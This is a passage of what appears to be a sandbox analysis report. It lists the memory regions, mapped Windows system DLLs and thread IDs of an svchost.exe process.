"private_0x00000000000f0000" filename = "" Region: id = 1244 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1245 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1246 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1247 start_va = 0x1e0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1248 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1249 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1250 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1251 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1252 start_va = 0x550000 end_va = 0x556fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1253 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1254 start_va = 0x570000 end_va = 0x576fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1255 start_va = 0x580000 end_va = 0x5e3fff monitored = 0 entry_point = 0x595ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1256 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 1257 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1258 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1259 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1260 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 1261 start_va = 0xb20000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 1262 start_va = 0xc20000 end_va = 0xc26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1263 start_va = 0xc30000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 1264 start_va = 0xcb0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 1265 start_va = 0xcd0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 1266 start_va = 0xcf0000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 1267 start_va = 0xd00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 1268 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1269 start_va = 0xf00000 end_va = 0xf00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 1270 start_va = 0xf10000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 1271 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 1272 start_va = 0x1000000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1273 start_va = 0x1120000 end_va = 0x1126fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 1274 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1275 start_va = 0x1300000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1276 start_va = 0x1380000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 1277 start_va = 0x1400000 end_va = 0x147ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1278 start_va = 0x1480000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 1279 start_va = 0x1500000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1280 start_va = 0x1590000 end_va = 0x168ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 1281 start_va = 0x1700000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 1282 start_va = 0x1800000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 1283 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1284 start_va = 0x1a00000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 1285 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 1286 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1287 start_va = 0x1d00000 end_va = 0x2036fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1288 start_va = 0x2040000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 1289 start_va = 0x2140000 end_va = 0x221ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1290 start_va = 0x2220000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 1291 start_va = 0x2320000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 1292 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1293 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 1294 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 1295 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 1296 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 1297 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1298 start_va = 0x2e00000 end_va = 0x2efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 1299 start_va = 0x2f00000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 1300 start_va = 0x3000000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1301 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 1302 start_va = 0x3200000 end_va = 0x32fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 1303 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 1304 start_va = 0x3500000 end_va = 0x35fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 1305 start_va = 0x3600000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 1306 start_va = 0x3700000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 1307 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1308 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1309 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1310 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1311 start_va = 0x7ff681250000 end_va = 0x7ff68125cfff monitored = 0 entry_point = 0x7ff681253980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1312 start_va = 0x7ff9fbd00000 end_va = 0x7ff9fbd32fff monitored = 0 entry_point = 0x7ff9fbd0ae20 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 1313 start_va = 0x7ffa07cc0000 end_va = 0x7ffa07cd3fff monitored = 0 entry_point = 0x7ffa07cc1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1314 start_va = 0x7ffa07ce0000 end_va = 0x7ffa07dd5fff monitored = 0 entry_point = 0x7ffa07d19590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1315 start_va = 0x7ffa08390000 end_va = 0x7ffa083a0fff monitored = 0 entry_point = 0x7ffa08392fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1316 start_va = 0x7ffa09490000 end_va = 0x7ffa0950efff monitored = 0 entry_point = 0x7ffa094a7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1317 start_va = 0x7ffa0b7a0000 end_va = 0x7ffa0b7aafff monitored = 0 entry_point = 0x7ffa0b7a1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1318 start_va = 0x7ffa0b7b0000 end_va = 0x7ffa0b7f7fff monitored = 0 entry_point = 0x7ffa0b7ba1e0 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 1319 start_va = 0x7ffa0b8c0000 end_va = 0x7ffa0b91cfff monitored = 0 entry_point = 0x7ffa0b8d2bf0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 1320 start_va = 0x7ffa0b9f0000 end_va = 0x7ffa0ba09fff monitored = 0 entry_point = 0x7ffa0b9f2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1321 start_va = 0x7ffa0ba10000 end_va = 0x7ffa0ba25fff monitored = 0 entry_point = 0x7ffa0ba119f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1322 start_va = 0x7ffa0ba70000 end_va = 0x7ffa0ba7dfff monitored = 0 entry_point = 0x7ffa0ba72e50 region_type = mapped_file name = "cmintegrator.dll" filename = "\\Windows\\System32\\cmintegrator.dll" (normalized: "c:\\windows\\system32\\cmintegrator.dll") Region: id = 1323 start_va = 0x7ffa0ba80000 end_va = 0x7ffa0bab7fff monitored = 0 entry_point = 0x7ffa0ba868f0 region_type = mapped_file name = "wcmcsp.dll" filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll") Region: id = 1324 start_va = 0x7ffa0baf0000 end_va = 0x7ffa0bb27fff monitored = 0 entry_point = 0x7ffa0bb08cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1325 start_va = 0x7ffa0bb30000 end_va = 0x7ffa0bbc8fff monitored = 0 entry_point = 0x7ffa0bb4a090 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 1326 start_va = 0x7ffa0c7c0000 end_va = 0x7ffa0c8cafff monitored = 0 entry_point = 0x7ffa0c802610 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 1327 start_va = 0x7ffa0c9c0000 end_va = 0x7ffa0ca2ffff monitored = 0 entry_point = 0x7ffa0c9e2960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1328 start_va = 0x7ffa0e910000 end_va = 0x7ffa0eac0fff monitored = 0 entry_point = 0x7ffa0e963690 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 1329 start_va = 0x7ffa0ed60000 end_va = 0x7ffa0ee27fff monitored = 0 entry_point = 0x7ffa0eda13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1330 start_va = 0x7ffa0f3e0000 end_va = 0x7ffa0f3f0fff monitored = 0 entry_point = 0x7ffa0f3e3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1331 start_va = 0x7ffa0ff00000 end_va = 0x7ffa0ff08fff monitored = 0 entry_point = 0x7ffa0ff019a0 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 1332 start_va = 0x7ffa0ff10000 end_va = 0x7ffa0ff1afff monitored = 0 entry_point = 0x7ffa0ff11cd0 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 1333 start_va = 0x7ffa0ff30000 end_va = 0x7ffa0ff47fff monitored = 0 entry_point = 0x7ffa0ff35910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1334 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1335 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1336 start_va = 0x7ffa117d0000 end_va = 0x7ffa117f6fff monitored = 0 entry_point = 0x7ffa117d7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1337 start_va = 0x7ffa11800000 end_va = 0x7ffa118a9fff monitored = 0 entry_point = 0x7ffa11827910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1338 start_va = 0x7ffa11b10000 end_va = 0x7ffa11b41fff monitored = 0 entry_point = 0x7ffa11b22340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1339 start_va = 0x7ffa11d90000 end_va = 0x7ffa11db3fff monitored = 0 entry_point = 0x7ffa11d93260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1340 start_va = 0x7ffa11f30000 end_va = 0x7ffa12023fff monitored = 0 entry_point = 0x7ffa11f3a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1341 start_va = 0x7ffa121a0000 end_va = 0x7ffa121abfff monitored = 0 entry_point = 0x7ffa121a27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1342 start_va = 0x7ffa12280000 end_va = 0x7ffa122b0fff monitored = 0 entry_point = 0x7ffa12287d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1343 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1344 start_va = 0x7ffa12660000 end_va = 0x7ffa126bbfff monitored = 0 entry_point = 0x7ffa12676f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1345 start_va = 0x7ffa12830000 end_va = 0x7ffa1283afff monitored = 0 entry_point = 0x7ffa128319a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1346 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1347 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1348 start_va = 0x7ffa12c20000 end_va = 0x7ffa12c48fff monitored = 0 entry_point = 0x7ffa12c34530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1349 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1350 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1351 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1352 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1353 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1354 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1355 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1356 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1357 start_va = 0x7ffa133e0000 end_va = 0x7ffa13465fff monitored = 0 entry_point = 0x7ffa133ed8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1358 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1359 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1360 start_va = 0x7ffa13d60000 end_va = 0x7ffa13d67fff monitored = 0 entry_point = 0x7ffa13d61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1361 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1362 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1363 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1364 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1365 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1366 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1367 start_va = 0x7ffa146e0000 end_va = 0x7ffa1474afff monitored = 0 entry_point = 0x7ffa146f90c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1368 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1369 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1370 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1371 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1372 start_va = 0x2420000 end_va = 0x2585fff monitored = 0 entry_point = 0x24679f0 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll") Region: id = 1382 start_va = 0xba0000 end_va = 0xba9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aeevts.dll" filename = "\\Windows\\System32\\aeevts.dll" (normalized: "c:\\windows\\system32\\aeevts.dll") Region: id = 1391 start_va = 0xba0000 end_va = 0xbc4fff monitored = 0 entry_point = 0xbab320 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Thread: id = 123 os_tid = 0x136c Thread: id = 124 os_tid = 0x1368 Thread: id = 125 os_tid = 0x1348 Thread: id = 126 os_tid = 0x132c Thread: id = 127 os_tid = 0x46c Thread: id = 128 os_tid = 0xb48 Thread: id = 129 os_tid = 0x27c Thread: id = 130 os_tid = 0x824 Thread: id = 131 os_tid = 0x958 Thread: id = 132 os_tid = 0xbc0 Thread: id = 133 os_tid = 0x478 Thread: id = 134 os_tid = 0x468 Thread: id = 135 os_tid = 0x458 Thread: id = 136 os_tid = 0x450 Thread: id = 137 os_tid = 0x44c Thread: id = 138 os_tid = 0x434 Thread: id = 139 os_tid = 0x42c Thread: id = 140 os_tid = 0x8 Thread: id = 141 os_tid = 0x348 Thread: id = 142 os_tid = 0x324 Thread: id = 143 os_tid = 0x2f4 Thread: id = 144 os_tid = 0x174 Thread: id = 145 os_tid = 0x284 Thread: id = 146 os_tid = 0x394